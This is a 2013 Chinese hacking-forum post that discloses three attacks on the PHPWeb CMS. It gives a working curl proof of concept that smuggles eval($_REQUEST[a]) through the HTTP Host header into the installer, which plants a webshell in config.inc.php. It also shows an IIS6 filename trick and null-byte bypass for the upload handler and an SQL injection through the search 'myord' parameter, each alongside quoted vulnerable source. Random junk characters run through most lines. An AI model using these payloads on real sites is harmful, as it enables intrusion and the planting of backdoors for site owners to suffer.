找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2859|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
注入:
2 v) f/ x6 R, X$ w6 j( Q
# l/ Z% E, a7 a, ~4 B之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码! f  R7 l* U- j" k  p6 O. K
, U% O0 l% n' a9 u% W
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
" ~4 J' ^1 g2 m" l鸡肋2: 有一定安全常识的站长都会删掉 install 目录
7 M4 g0 i9 N% y* y  H" @+ h0 ]; Y. i2 `
0 ~4 `5 s, Z9 v* l. ]2 w虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响! z& Z* @! Q% P

8 w" k( z7 g6 y分析:+ g3 Y/ Y7 k8 p6 @! l: S

9 }( ~8 w) N, c% h, G4 R1 j+ Z
3 v0 Z1 r/ J! c" ?/ u; b* S7 [0 |$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
& i& Q9 z) t" r; z, x9 v
. ]7 b, N6 |5 y& v0 W9 a) N                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);
  B1 H3 c; }2 ]; r$ R                                            $filestr=str_replace(" ","",$filestr);/ H2 @/ p: P( X8 T
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
* y9 G/ V5 C. h" `$ q' H                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
+ G" G( u1 C; E9 q& l* r7 }, Z/ s, \                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
8 x, e" t" C$ a" L3 m2 V                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
9 {0 Y8 d! e5 l% v# N1 m% \                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
0 q. K7 X9 p% ~  f                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);9 C  I3 j& m9 N, b
                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
# r( M4 s8 d$ ?. G- {/ { ' D# Q/ N4 f9 p
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);3 O7 J  |6 Y3 T4 E' z1 {0 _3 I
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
3 O9 X0 ^3 E7 q  d2 m) z  d' x4 S
' u4 H* X# X; O1 T8 @1 X. t/ Gpoc:
# g& m4 v3 d+ e8 Q+ y* A' D: r ( t4 [- T" n& o8 }, _; P5 j
?9 ]& k+ Q: X2 g
18 L3 i. y" `- Q: a) p% n6 a
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"7 I5 H& U8 X: a) U" t: f2 ~7 T$ r
shell地址: /config.inc.php
1 w& \8 V8 p, T" N; D跟之前的 phpcms一样 需要远程数据库
; r) [! t& H- o0 O% l# _' [/ b8 C 7 u" l3 a2 ^( ?" N7 ?3 [( f1 {
——————————————————–& K: T* A$ J" E# c3 F* t
上传漏洞(需要进后台):+ D- [! C; v% x& g3 v
漏洞文件: /kedit/upload_cgi/upload.php5 f; S9 \4 ]+ u
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用4 f2 m- N5 {( _( K; V
2 [! E& R0 C4 J  Y

" P, E1 a2 P$ f% S7 F8 k; k<?php# Z2 l$ C0 a* a( R' z6 O1 r
    define("ROOTPATH", "../../");7 m( A0 `# a+ A! K
    include(ROOTPATH."includes/admin.inc.php");
# K1 ?) h$ y- h    NeedAuth(0);, d. T7 A* e# B2 K. o
2 Q/ g% `+ ?, U( w3 I9 U# z
    $dt=date("Ymd",time());/ v. K# p2 p/ [5 Z/ A2 V
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){( \- {6 ^3 y1 D1 i7 K' `
            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
7 Q/ n+ a  u" {/ Z4 o* U9 v3 e    }
" E) o0 C1 _4 S
! ?( I8 [: Z4 ?! H8 e    //文件保存目录路径$ l* o: }2 F+ O( v! U
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
  v# ]; m, f/ {/ r5 U$ i& p; G    echo $save_path;0 ?+ {3 R- P* @7 f, D' I
    //文件保存目录URL
* A! G' G5 i7 S    $save_url = '../../'.$_POST['attachPath'].$dt.'/';) I* G, X* t7 b. c

/ Q: O2 o9 R. `- b$ A3 a    //定义允许上传的文件扩展名* `: |! ^9 e' O3 O' ~. @. c
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
0 m. ~$ U) y( p- K% G6 U, H1 }9 W
' B& x( O8 \1 K, \2 l    //最大文件大小
* x8 m3 \5 u! ]% [3 R: \( l6 d    $max_size = 1000000;
8 t3 x% E% c( A+ \: Q7 ?
( \5 D. n: s) g7 O( o7 Y    //更改目录权限
) ^8 b! l6 B. J1 c" S" O    @mkdir($save_path, 0777);
+ R9 m+ o+ ^9 d7 J% S, Z( S4 j0 g # h- y6 m1 F5 }) }. S/ J# r
    //文件的全部路径% S) q) a1 V  X+ u
    $file_path = $save_path.$_POST['fileName'];   //保存文件名5 @, u7 o, Q  q6 h

3 q2 e' ?1 _2 E1 L3 H    //文件URL
6 K- c! }1 }/ K; ~    $file_url = $save_url.$_POST['fileName'];
2 J6 N  Q5 O2 ]//有上传文件时: e1 ?7 C1 ?1 l& p/ K
    if (empty($_FILES) === false) {
* A0 g) O6 `( F 2 }; G) d: p4 Y! D& T
            //原文件名4 L# z2 T/ c( x5 X: H: [
            $file_name = $_FILES['fileData']['name'];
" |* H$ N& l! V- J8 e            //服务器上临时文件名" I  C% T/ o, z- E5 Y2 \$ b
            $tmp_name = $_FILES['fileData']['tmp_name'];
8 Z" o. _) H% j8 M( L. T. ], _$ w( w0 d            //文件大小" e4 B' t0 F( ^& w, k; O
            $file_size = $_FILES['fileData']['size'];0 }1 d, A; H4 o- J! |- O- ^
            //检查目录
2 ^) `0 z: {7 G/ O            if (@is_dir($save_path) === false) {+ i6 ?/ ~1 U3 Z! W% h
                    alert("上传目录不存在。");' q- ]. Q) n8 U7 H- @( t& I* m
            }4 K5 b" \0 h/ b7 z. W
            //检查目录写权限
( G3 n; }. {3 ]# q" l+ b3 i            if (@is_writable($save_path) === false) {9 H" D$ P8 G) q
                    alert("上传目录没有写权限。");
2 {; f: @+ M  @3 W' |! c) G% B            }
, P1 ~7 S( x) H" _$ H9 b            //检查是否已上传
1 s" `! N# h7 |            if (@is_uploaded_file($tmp_name) === false) {
- q- `- t, d, A5 @/ y                    alert("临时文件可能不是上传文件。");  a/ ^8 u& G, d7 u4 p
            }0 J0 s$ D, Y+ c
            //检查文件大小
8 z+ R. @" M: C1 O            if ($file_size > $max_size) {
- Y  B- R: M% ]: m7 ^: t, Z" I/ F                    alert("上传文件大小超过限制。");% r! y" @5 A7 e  h  o$ C+ H
            }
! E- J% N( {5 M. _% q            //获得文件扩展名
/ K* D( k3 a! V  c8 L  ^+ ^; ~            $temp_arr = explode(".", $_POST['fileName']);" o9 k: j* L5 }% J  m; n' v$ ?
            $file_ext = array_pop($temp_arr);
& \  K% S% W& f+ Y  }( L            $file_ext = trim($file_ext);
3 I( G) m  v3 I' e3 C7 `: M" k) D            $file_ext = strtolower($file_ext);
+ y* G, D# I0 }! a# x- D; [$ h
: M3 u1 X% v+ @4 _- `/ i! S            //检查扩展名   / d" z7 ?4 s( L5 Y" r) m
            if (in_array($file_ext, $ext_arr) === false) {     
, p2 W9 {* L6 J" @2 z                    alert("上传文件扩展名是不允许的扩展名。");8 F: m$ |* ?/ N& \
            }* |1 l5 h" @# g* A; c2 n6 x5 u- L
2 K. C' T  F8 a
            //移动文件   
8 @2 _' o$ X; \6 l: |            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
# Z1 w& M) L" g$ w; G+ v4 Q            if (move_uploaded_file($tmp_name, $file_path) === false) {
# s3 t% B' G; T( u) A3 t0 a                    alert("上传文件失败。");
* Z' H7 q8 [, f1 N: ?$ M            }
2 [, ~1 ]7 U4 R" C% T3 J. g - K8 F$ B! [. v6 t% w
            @chmod($file_path,0666);+ U+ L: O0 D1 }6 W9 T3 O

8 M- e- D7 }1 G2 p2 o% v0 I    ?>! c- T. w8 ~# A5 e. F
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
6 b3 N) m" m6 m2 c/ z+ [9 F- [  l ( t6 {0 T) d4 r% L
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过5 T8 H# X& ]/ D

5 ^% [3 l" g9 l3 m8 k——————————————————; h- u8 A3 j/ A6 N: p7 Y
注入漏洞:0 a8 R6 [+ A7 S
漏洞文件:search/module/search.php
8 A7 W% R# `! }& s1 E: H( W/search/index.php?key=1&myord=1 [sqlinjection]3 T1 y  H1 M/ {. _  ]
; T1 Z# o/ D1 C
  _8 y. i. {$ _" h
<?php
3 Z& D& L0 g+ x7 b9 s8 G   //       ... 省略 n 行...2 @: ^( ~; n' I0 w. c( v% D
   //第18行:
5 H" T: h/ z  x5 r- i           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
, _# P3 t* W& o3 F           $page=htmlspecialchars($_GET["page"]);
/ g- `  `2 h1 }; k0 X( I) n% z/ z+ ^- a           $myord=htmlspecialchars($_GET["myord"]);! n1 H+ ~' A; S  P! C" S4 V) j# a
8 h: }7 B! J& ?2 ^* C3 ~
   //       ... 省略 n 行...
+ M. c( K3 _' k   $key,$myord 两个参数带入查询# c1 D! R8 R9 F& h  i  N# L
   //第47行 $key:' b4 u# [9 z% G: F. [2 E: ?

* A9 `1 ]! t; R% [9 I0 G   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
- R5 S8 {% P' Y, t* A
5 V* a; B7 _. i   //第197行 $myord
4 ^$ b4 ?* K4 \% s   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
! N4 ?0 k0 C) m8 h  _- b; J, n
) P" G6 P  t$ W' h   ?>8 U- h- x9 c5 n  ^
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表